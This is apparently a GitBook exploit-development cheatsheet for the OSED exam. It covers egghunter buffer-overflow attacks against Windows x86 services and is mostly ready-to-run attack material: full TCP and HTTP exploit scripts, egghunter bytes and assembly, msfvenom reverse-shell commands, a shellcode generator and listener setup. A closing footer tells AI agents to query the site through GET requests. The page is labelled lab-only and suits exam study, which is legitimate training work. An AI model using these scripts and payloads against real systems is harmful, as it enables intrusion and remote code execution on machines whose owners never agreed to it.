> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/cheatsheets/egghunters.md).

# OSED Egghunter — Full Linux Cheatsheet + Scripts

> **OS**: Kali / Parrot Linux (attacker) → Windows x86 (target) **Exam**: EXP-301 / OSED | Authorized lab use only

***

## TABLE OF CONTENTS

1. [Environment Setup](#1-environment-setup)
2. [Workflow Overview](#2-workflow-overview)
3. [Step 1 — Crash & Find Offset](#3-step-1--crash--find-offset)
4. [Step 2 — Find JMP ESP](#4-step-2--find-jmp-esp)
5. [Step 3 — Bad Character Analysis](#5-step-3--bad-character-analysis)
6. [Step 4 — Egghunter Bytes](#6-step-4--egghunter-bytes)
7. [Step 5 — Generate Shellcode](#7-step-5--generate-shellcode)
8. [Step 6 — Build & Send Exploit](#8-step-6--build--send-exploit)
9. [Full TCP Exploit Script](#9-full-tcp-exploit-script)
10. [Full HTTP Exploit Script](#10-full-http-exploit-script)
11. [Bad Char Generator Script](#11-bad-char-generator-script)
12. [Shellcode Generator Script](#12-shellcode-generator-script)
13. [Egghunter NASM Source](#13-egghunter-nasm-source)
14. [Windows Mona Commands](#14-windows-mona-commands)
15. [WinDbg Commands](#15-windbg-commands)
16. [Pitfall Fix Table](#16-pitfall-fix-table)
17. [Exam Day Checklist](#17-exam-day-checklist)

***

## 1. Environment Setup

```bash
# Install tools on Kali
sudo apt update && sudo apt install -y \
    python3 python3-pip nasm netcat-traditional \
    metasploit-framework curl

# Auto-detect your VPN IP (tun0)
export LHOST=$(ip a show tun0 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
export LPORT=4444
echo "[*] LHOST=$LHOST  LPORT=$LPORT"

# Verify msfvenom
msfvenom --version

# Test Python socket
python3 -c "import socket; print('socket OK')"
```

***

## 2. Workflow Overview

```
[LINUX - ATTACKER]                    [WINDOWS - TARGET]
─────────────────                     ───────────────────
1. Crash app          ──────────────► App crashes
2. Find offset        ──msf-pattern──► EIP = 0x41306241
3. Find JMP ESP       ◄──!mona jmp─── Immunity Debugger
4. Find bad chars     ──bytearray───► !mona compare
5. Generate egghunter ◄──!mona egg─── 32 bytes
6. Generate shellcode   msfvenom
7. Send buf2 (egg+SC) ──────────────► lands in memory
8. Send buf1 (overflow)──────────────► EIP→JMP ESP→egghunter→shellcode
9. nc -nlvp 4444      ◄──shell────────
```

**Critical rule: always send buf2 (egg + shellcode) BEFORE buf1 (overflow).**

***

## 3. Step 1 — Crash & Find Offset

```bash
# Generate cyclic pattern
msf-pattern_create -l 2000

# Find offset from EIP value after crash
msf-pattern_offset -q 41306241   # replace with your EIP value

# Or in Python (no Metasploit needed)
python3 -c "
import string
def pattern(n):
    s=''
    for a in string.ascii_uppercase:
        for b in string.ascii_lowercase:
            for c in string.digits:
                s+=a+b+c
                if len(s)>=n: return s[:n]
print(pattern(2000))
" > pattern.txt
cat pattern.txt | wc -c
```

### Crash script skeleton

```python
#!/usr/bin/env python3
import socket
TARGET_IP   = "192.168.X.X"
TARGET_PORT = 9999

payload = b"A" * 2000   # replace with pattern.txt content for offset finding

s = socket.socket()
s.connect((TARGET_IP, TARGET_PORT))
s.recv(1024)
s.send(payload + b"\r\n")
s.close()
print(f"[*] Sent {len(payload)} bytes")
```

***

## 4. Step 2 — Find JMP ESP

Run in **Immunity Debugger** on Windows:

```
!mona modules
```

Look for a module where all of these are `False`:

* Rebase
* ASLR
* SafeSEH
* NXCompat

Then find a JMP ESP in that module:

```
!mona jmp -r esp -m "essfunc.dll"
```

Note the address — e.g. `0x625011AF`

**On Linux** — convert address to little-endian bytes:

```python
import struct
jmp_esp = 0x625011AF
eip = struct.pack("<I", jmp_esp)
print(eip.hex())   # af 11 50 62
print(repr(eip))   # b'\xaf\x11\x50\x62'
```

***

## 5. Step 3 — Bad Character Analysis

### Generate bytearray on Linux

```bash
python3 badchars_gen.py              # generates bytearray.bin + Python bytes
python3 badchars_gen.py --bad "00 0a 0d"   # exclude known bad chars
```

### Transfer bytearray.bin to Windows

```bash
# Start HTTP server on Kali
python3 -m http.server 8080

# On Windows (PowerShell):
# Invoke-WebRequest http://KALI_IP:8080/bytearray.bin -OutFile C:\mona\bytearray.bin
```

### Compare in Immunity after crash

```
!mona compare -f C:\mona\bytearray.bin -a <ESP_value>
```

Remove each flagged byte, regenerate, repeat until output shows `Unmodified`.

***

## 6. Step 4 — Egghunter Bytes

### ✅ Verified egghunter (Keystone x86-32 assembled, no null bytes, 30 bytes)

```python
# Egg: "w00t" = \x77\x30\x30\x74
# Method: NtAccessCheckAndAuditAlarm via INT 0x2E
# Works on: Windows XP, 7, 10 x86 (verify syscall# on your target)

EGGHUNTER = (
    b"\x66\x81\xc9\xff\x0f"   # OR CX, 0x0FFF       — page align
    b"\x41"                    # INC ECX              — next address
    b"\x6a\x02"               # PUSH 2
    b"\x58"                    # POP EAX              — syscall #2
    b"\xcd\x2e"               # INT 0x2E             — NtAccessCheckAndAuditAlarm
    b"\x3c\x05"               # CMP AL, 0x05         — STATUS_ACCESS_VIOLATION?
    b"\x74\xe2"               # JE loop_inc_page      — yes: skip page
    b"\xb8\x77\x30\x30\x74"  # MOV EAX, 'w00t'      — load egg value
    b"\x89\xcf"               # MOV EDI, ECX          — save address
    b"\xaf"                    # SCASD                 — cmp [EDI],EAX; EDI+=4
    b"\x75\xd1"               # JNZ loop_inc_one      — no match
    b"\xaf"                    # SCASD                 — double egg check
    b"\x75\xcb"               # JNZ loop_inc_one      — no double match
    b"\xff\xe7"               # JMP EDI               — shellcode start!
)
```

### What each instruction does

```
OR CX, 0x0FFF     → sets CX to 0x0FFF so INC aligns to next 4KB page boundary
INC ECX           → advance probe address by 1
PUSH 2 / POP EAX  → EAX = 2 = syscall number for NtAccessCheckAndAuditAlarm
INT 0x2E          → kernel validates ECX; returns AV error if page unmapped
CMP AL, 0x05      → check if kernel returned STATUS_ACCESS_VIOLATION (0xC0000005)
JE loop_inc_page  → inaccessible page: jump back and skip to next page
MOV EAX, 'w00t'  → load egg value (0x74303077) into EAX for comparison
MOV EDI, ECX      → copy probe address to EDI (SCASD uses EDI)
SCASD             → compare EAX with DWORD at [EDI]; increment EDI by 4
JNZ loop_inc_one  → first egg not found
SCASD             → compare again (double egg check)
JNZ loop_inc_one  → double egg not found
JMP EDI           → found both eggs! EDI now points past egg → shellcode
```

### Alternative: mona generates it for you (run on Windows in Immunity)

```
!mona egg -t w00t
```

Output is saved to `C:\mona\egghunter.txt` — copy the Python bytes from there.

***

## 7. Step 5 — Generate Shellcode

```bash
# Set your IP
export LHOST=$(ip a show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)

# Standard reverse shell (~350 bytes)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=$LHOST LPORT=4444 \
    EXITFUNC=thread \
    -f python \
    -b "\x00\x0a\x0d" \
    -v shellcode

# More bad chars (add as discovered)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=$LHOST LPORT=443 \
    EXITFUNC=thread \
    -f python \
    -b "\x00\x0a\x0d\x20\x26" \
    -v shellcode

# Check shellcode size before encoding
msfvenom -p windows/shell_reverse_tcp LHOST=1.1.1.1 LPORT=4444 -f raw | wc -c

# Use port 443 if 4444 is firewalled
msfvenom -p windows/shell_reverse_tcp \
    LHOST=$LHOST LPORT=443 \
    EXITFUNC=thread \
    -f python -b "\x00" -v shellcode
```

***

## 8. Step 6 — Build & Send Exploit

```python
import struct

OFFSET    = 524               # your offset
JMP_ESP   = 0x625011AF        # your JMP ESP address
EGG       = b"w00t"
EGG_TAG   = EGG * 2           # "w00tw00t"

EIP       = struct.pack("<I", JMP_ESP)
NOP       = b"\x90" * 8

EGGHUNTER = (
    b"\x66\x81\xc9\xff\x0f\x41\x6a\x02\x58\xcd\x2e\x3c"
    b"\x05\x74\xe2\xb8\x77\x30\x30\x74\x89\xcf\xaf\x75"
    b"\xd1\xaf\x75\xcb\xff\xe7"
)

shellcode = (
    b""  # paste msfvenom output here
)

# Overflow buffer — small field (egghunter fits here)
buf1 = b"A" * OFFSET + EIP + NOP + EGGHUNTER

# Shellcode buffer — large field (egg + shellcode)
buf2 = EGG_TAG + b"\x90" * 16 + shellcode

# SEND buf2 FIRST — must be in memory before egghunter runs
send_large_field(buf2)
time.sleep(1)
send_overflow(buf1)
```

***

## 9. Full TCP Exploit Script

Save as `exploit_tcp.py` — edit CONFIG section only:

```python
#!/usr/bin/env python3
"""
OSED Egghunter Exploit — TCP
For authorized lab/exam use only.
Usage: python3 exploit_tcp.py
"""
import socket, struct, time, sys

# ─── CONFIG ──────────────────────────────────────────────────
TARGET_IP   = "192.168.X.X"   # Windows target
TARGET_PORT = 9999             # Vulnerable service
LHOST       = "192.168.X.X"   # Your tun0 IP
LPORT       = 4444

OFFSET      = 524
JMP_ESP     = 0x625011AF       # from !mona jmp -r esp
EGG         = b"w00t"
# ─────────────────────────────────────────────────────────────

EGGHUNTER = (
    b"\x66\x81\xc9\xff\x0f"   # OR CX, 0x0FFF
    b"\x41"                    # INC ECX
    b"\x6a\x02"               # PUSH 2
    b"\x58"                    # POP EAX
    b"\xcd\x2e"               # INT 0x2E
    b"\x3c\x05"               # CMP AL, 5
    b"\x74\xe2"               # JE page
    b"\xb8\x77\x30\x30\x74"  # MOV EAX,'w00t'
    b"\x89\xcf"               # MOV EDI,ECX
    b"\xaf"                    # SCASD
    b"\x75\xd1"               # JNZ inc_one
    b"\xaf"                    # SCASD (double)
    b"\x75\xcb"               # JNZ inc_one
    b"\xff\xe7"               # JMP EDI
)

# ── REPLACE with msfvenom output ────────────────────────────
# msfvenom -p windows/shell_reverse_tcp LHOST=X LPORT=4444
#          EXITFUNC=thread -f python -b "\x00\x0a\x0d" -v shellcode
shellcode = (
    b"\x90\x90\x90\x90"  # REPLACE THIS
)
# ─────────────────────────────────────────────────────────────

EIP     = struct.pack("<I", JMP_ESP)
NOP     = b"\x90" * 8
EGG_TAG = EGG * 2

buf1 = b"A" * OFFSET + EIP + NOP + EGGHUNTER
buf2 = EGG_TAG + b"\x90" * 16 + shellcode


def tcp_send(data, label):
    try:
        s = socket.socket()
        s.settimeout(8)
        s.connect((TARGET_IP, TARGET_PORT))
        try: s.recv(1024)    # consume banner
        except: pass
        s.send(data)
        s.close()
        print(f"[+] {label} — {len(data)} bytes sent")
    except Exception as e:
        print(f"[-] {label} FAILED: {e}")
        sys.exit(1)


def main():
    print("=" * 55)
    print("  OSED Egghunter Exploit — TCP")
    print("=" * 55)
    print(f"  Target    : {TARGET_IP}:{TARGET_PORT}")
    print(f"  Shell     : {LHOST}:{LPORT}")
    print(f"  Offset    : {OFFSET}")
    print(f"  JMP ESP   : {hex(JMP_ESP)}")
    print(f"  Hunter    : {len(EGGHUNTER)} bytes")
    print(f"  Shellcode : {len(shellcode)} bytes")
    print(f"  buf1      : {len(buf1)} bytes  (overflow)")
    print(f"  buf2      : {len(buf2)} bytes  (egg+shellcode)")
    print("=" * 55)

    if len(shellcode) <= 8:
        print("[!] WARNING: shellcode is placeholder — replace with msfvenom output")

    # Step 1: egg+shellcode into memory FIRST
    print("\n[*] Step 1 — sending buf2 (egg + shellcode) ...")
    tcp_send(buf2, "buf2")
    time.sleep(1)

    # Step 2: trigger overflow
    print("[*] Step 2 — sending buf1 (overflow + egghunter) ...")
    tcp_send(buf1, "buf1")

    print(f"\n[*] Egghunter scanning ... catch shell:")
    print(f"    nc -nlvp {LPORT}\n")


if __name__ == "__main__":
    main()
```

***

## 10. Full HTTP Exploit Script

Save as `exploit_http.py`:

```python
#!/usr/bin/env python3
"""
OSED Egghunter Exploit — HTTP
Strategy:
  buf2 → User-Agent header (large field, egg+shellcode)
  buf1 → GET path (overflow field)

For authorized lab/exam use only.
"""
import socket, struct, time, sys

# ─── CONFIG ──────────────────────────────────────────────────
TARGET_IP   = "192.168.X.X"
TARGET_PORT = 80
LHOST       = "192.168.X.X"
LPORT       = 4444

OFFSET      = 524
JMP_ESP     = 0x625011AF
EGG         = b"w00t"

# Change if shellcode needs to go in a different header
SHELLCODE_HEADER = b"User-Agent"
# ─────────────────────────────────────────────────────────────

EGGHUNTER = (
    b"\x66\x81\xc9\xff\x0f\x41\x6a\x02\x58\xcd\x2e\x3c"
    b"\x05\x74\xe2\xb8\x77\x30\x30\x74\x89\xcf\xaf\x75"
    b"\xd1\xaf\x75\xcb\xff\xe7"
)

# Replace with msfvenom output
shellcode = b"\x90\x90\x90\x90"

EIP     = struct.pack("<I", JMP_ESP)
NOP     = b"\x90" * 8
EGG_TAG = EGG * 2

buf1 = b"A" * OFFSET + EIP + NOP + EGGHUNTER
buf2 = EGG_TAG + b"\x90" * 16 + shellcode


def http_get(path: bytes, extra_headers: dict = None):
    req  = b"GET " + path + b" HTTP/1.0\r\n"
    req += b"Host: " + TARGET_IP.encode() + b"\r\n"
    if extra_headers:
        for k, v in extra_headers.items():
            if isinstance(k, str): k = k.encode()
            if isinstance(v, str): v = v.encode()
            req += k + b": " + v + b"\r\n"
    req += b"Connection: close\r\n\r\n"
    return req


def http_send(request: bytes, label: str):
    try:
        s = socket.socket()
        s.settimeout(8)
        s.connect((TARGET_IP, TARGET_PORT))
        s.send(request)
        try: resp = s.recv(256)
        except: resp = b""
        s.close()
        print(f"[+] {label} — {len(request)} bytes | resp: {resp[:30]}")
    except Exception as e:
        print(f"[-] {label} FAILED: {e}")
        sys.exit(1)


def main():
    print("=" * 55)
    print("  OSED Egghunter Exploit — HTTP")
    print("=" * 55)
    print(f"  Target    : http://{TARGET_IP}:{TARGET_PORT}")
    print(f"  Shell     : {LHOST}:{LPORT}")
    print(f"  Large hdr : {SHELLCODE_HEADER.decode()}")
    print(f"  Hunter    : {len(EGGHUNTER)} bytes")
    print(f"  Shellcode : {len(shellcode)} bytes")
    print("=" * 55)

    # Step 1: egg+shellcode in User-Agent first
    print("\n[*] Step 1 — injecting egg+shellcode via header ...")
    req_large = http_get(b"/", extra_headers={SHELLCODE_HEADER: buf2})
    http_send(req_large, "buf2 (egg+shellcode)")
    time.sleep(1)

    # Step 2: overflow via GET path
    print("[*] Step 2 — triggering overflow via GET path ...")
    req_overflow = http_get(b"/" + buf1)
    http_send(req_overflow, "buf1 (overflow)")

    print(f"\n[*] Catch your shell: nc -nlvp {LPORT}\n")


if __name__ == "__main__":
    main()
```

***

## 11. Bad Char Generator Script

Save as `badchars_gen.py`:

```python
#!/usr/bin/env python3
"""
Usage:
  python3 badchars_gen.py                      # excludes \x00 only
  python3 badchars_gen.py --bad "00 0a 0d"    # exclude multiple
  python3 badchars_gen.py --bad "00 0a 0d 20 26"
"""
import argparse

def main():
    p = argparse.ArgumentParser()
    p.add_argument("--bad", default="00",
        help='Hex bytes to exclude e.g. "00 0a 0d"')
    p.add_argument("--out", default="bytearray.bin")
    args = p.parse_args()

    bad = [int(x, 16) for x in args.bad.split()]
    print(f"[*] Excluding: {[hex(b) for b in bad]}")

    data = bytearray(b for b in range(1, 256) if b not in bad)
    print(f"[*] Bytearray: {len(data)} bytes")

    with open(args.out, "wb") as f:
        f.write(data)
    print(f"[*] Saved: {args.out}")
    print(f"[*] Copy to Windows: C:\\mona\\bytearray.bin")
    print()
    print("# Paste into exploit:")
    print("badchars = (")
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        print('    b"' + "".join(f"\\x{b:02x}" for b in chunk) + '"')
    print(")")

if __name__ == "__main__":
    main()
```

***

## 12. Shellcode Generator Script

Save as `gen_shellcode.sh` and run `chmod +x gen_shellcode.sh`:

```bash
#!/bin/bash
# Usage: ./gen_shellcode.sh [LPORT] [bad_chars]
# Example: ./gen_shellcode.sh 4444 "\\x00\\x0a\\x0d"

LHOST=$(ip a show tun0 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
if [ -z "$LHOST" ]; then
    LHOST=$(ip a show eth0 2>/dev/null | grep 'inet ' | awk '{print $2}' | cut -d/ -f1)
fi

LPORT="${1:-4444}"
BADCHARS="${2:-\\\\x00\\\\x0a\\\\x0d}"
OUTFILE="shellcode.py"

echo "========================================================"
echo "  OSED Shellcode Generator"
echo "========================================================"
echo "  LHOST     : $LHOST"
echo "  LPORT     : $LPORT"
echo "  Bad chars : $BADCHARS"
echo "  Output    : $OUTFILE"
echo "========================================================"

msfvenom \
    -p windows/shell_reverse_tcp \
    LHOST="$LHOST" \
    LPORT="$LPORT" \
    EXITFUNC=thread \
    -f python \
    -b "$BADCHARS" \
    -v shellcode \
    > "$OUTFILE"

echo ""
echo "[+] Done: $OUTFILE"
echo ""
echo "[*] Start listener:"
echo "    nc -nlvp $LPORT"
echo ""
echo "[*] Or Metasploit handler:"
echo "    msfconsole -q -x \"use multi/handler; \\"
echo "    set PAYLOAD windows/shell_reverse_tcp; \\"
echo "    set LHOST $LHOST; set LPORT $LPORT; \\"
echo "    set ExitOnSession false; run -j\""
```

***

## 13. Egghunter NASM Source

Save as `egghunter.asm`, assemble on Linux:

```nasm
; ─────────────────────────────────────────────────────────────
;  Egghunter — NtAccessCheckAndAuditAlarm
;  Egg: "w00t" (0x74303077) — must appear TWICE before shellcode
;
;  Assemble:
;    nasm -f bin egghunter.asm -o egghunter.bin
;    xxd egghunter.bin
;    ndisasm -b 32 egghunter.bin
;
;  Convert to Python:
;    python3 -c "
;    d=open('egghunter.bin','rb').read()
;    print(f'# {len(d)} bytes')
;    print('EGGHUNTER = (')
;    [print('    b\"'+''.join(f\"\x{b:02x}\" for b in d[i:i+12])+'\"')
;     for i in range(0,len(d),12)]
;    print(')')
;    "
; ─────────────────────────────────────────────────────────────
[BITS 32]

loop_inc_page:
    or   cx, 0x0fff         ; align CX so INC jumps to next page

loop_inc_one:
    inc  ecx                ; probe next address

loop_check:
    push byte 0x02
    pop  eax                ; EAX=2 = NtAccessCheckAndAuditAlarm syscall#
    int  0x2e               ; kernel validates ECX — returns AV if unmapped
    cmp  al, 0x05           ; STATUS_ACCESS_VIOLATION?
    je   loop_inc_page      ; yes: page is inaccessible, skip it

    mov  eax, 0x74303077    ; "w00t" little-endian
    mov  edi, ecx           ; EDI = current address
    scasd                   ; cmp EAX,[EDI] ; EDI+=4
    jnz  loop_inc_one       ; first egg not found
    scasd                   ; cmp EAX,[EDI] ; EDI+=4  (double egg)
    jnz  loop_inc_one       ; second egg not found
    jmp  edi                ; both found — EDI points to shellcode
```

***

## 14. Windows Mona Commands

Run these inside **Immunity Debugger** command bar (bottom input box):

```
:: ── Find non-ASLR modules
!mona modules

:: ── Find JMP ESP gadget
!mona jmp -r esp
!mona jmp -r esp -m "essfunc.dll"

:: ── Generate cyclic pattern
!mona pattern_create 2000

:: ── Find offset from EIP value
!mona pattern_offset -q 41306241

:: ── Generate egghunter for egg "w00t"
!mona egg -t w00t
:: Output: C:\mona\egghunter.txt

:: ── Generate bad char bytearray (excluding \x00)
!mona bytearray -b "\x00"

:: ── Compare after crash to find bad chars
!mona compare -f C:\mona\bytearray.bin -a 00AABBCC

:: ── Find egg in memory (after buf2 sent)
!mona find -s "w00tw00t" -type bin

:: ── SEH gadgets (if SEH overflow)
!mona seh
!mona seh -m "module.dll"

:: ── Set breakpoint (right-click in code window → Breakpoint → Toggle)
:: Or: bp command in WinDbg
```

***

## 15. WinDbg Commands

```windbg
; Search for double egg in user-mode memory
s -d 0x0 L?0x7fffffff 0x74303077 0x74303077

; Breakpoint at address
bp 0x00XXXXXX

; Run
g

; Step into
t

; Step over
p

; Registers
r

; Dump memory at ECX (64 bytes)
db ecx L40

; DWORDs at ECX
dd ecx L8

; Disassemble from EIP
u eip L20

; List all breakpoints
bl

; Clear all breakpoints
bc *
```

***

## 16. Pitfall Fix Table

| Symptom                  | Cause                          | Fix                                             |
| ------------------------ | ------------------------------ | ----------------------------------------------- |
| App crashes immediately  | Bad byte in egghunter          | Check bad chars; try SEH egghunter              |
| Egghunter loops forever  | buf2 not in memory             | Send buf2 BEFORE buf1; verify with `!mona find` |
| Egghunter finds itself   | Egg tag inside egghunter bytes | Choose different egg (LOLO, h4x0)               |
| Shell connects then dies | Wrong EXITFUNC                 | Use `EXITFUNC=thread` in msfvenom               |
| Shellcode corrupted      | Bad chars in large field       | Test bad chars on field 2 separately            |
| No shell received        | Wrong LHOST / firewall         | Check tun0 vs eth0; try port 443                |
| EIP not controlled       | Wrong offset                   | Re-run pattern\_create + pattern\_offset        |
| JMP ESP not found        | All modules have ASLR          | Find non-ASLR module with `!mona modules`       |
| Unicode corruption       | App converts to UTF-16         | Use Venetian/unicode egghunter                  |
| INT 0x2E crashes         | Wrong syscall # for OS         | Use SEH-based egghunter                         |
| Egghunter too slow       | Searching from 0x00000000      | Normal — can take seconds; be patient           |

***

## 17. Exam Day Checklist

```
PRE-EXPLOIT
[ ] VPN connected — tun0 IP matches LHOST in exploit
[ ] Listener running BEFORE exploit fires: nc -nlvp 4444
[ ] EXITFUNC=thread in msfvenom command
[ ] Bad chars tested on BOTH the overflow field AND the shellcode field
[ ] JMP ESP confirmed in non-ASLR / non-SafeSEH module

EGGHUNTER
[ ] Egghunter bytes copied from mona, not hand-typed
[ ] Egg tag does NOT appear as sequential pattern inside egghunter
[ ] Egg tag is 4 bytes, placed TWICE consecutively in buf2
[ ] buf2 (egg + shellcode) sent FIRST
[ ] sleep(1) between buf2 and buf1

SHELLCODE
[ ] NOP sled in buf2: EGG_TAG + b"\x90"*16 + shellcode
[ ] Shellcode size fits in the large field

DEBUG CONFIRM (in Immunity before live run)
[ ] Break at egghunter first byte → confirm execution reaches it
[ ] !mona find -s "w00tw00t" → confirm egg is in memory
[ ] Single-step egghunter → watch ECX advance
[ ] Confirm JMP EDI lands at NOP sled before shellcode

REPORT
[ ] Screenshot every step: crash, EIP control, egghunter hit, shell
[ ] Note JMP ESP address + module name + why it lacks ASLR
[ ] Note offset, bad chars, egg tag used
```

***

## Quick Copy — Egghunter Bytes Only

```python
# 30 bytes — Keystone x86-32 verified — egg="w00t" — no nulls
EGGHUNTER = (
    b"\x66\x81\xc9\xff\x0f\x41\x6a\x02\x58\xcd\x2e\x3c"
    b"\x05\x74\xe2\xb8\x77\x30\x30\x74\x89\xcf\xaf\x75"
    b"\xd1\xaf\x75\xcb\xff\xe7"
)
EGG     = b"w00t"
EGG_TAG = EGG * 2   # b"w00tw00t" — prepend to shellcode in buf2
```

***

*OSED Egghunter — Linux Attacker Full Cheatsheet | June 2026* *Authorized lab/exam use only*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/cheatsheets/egghunters.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.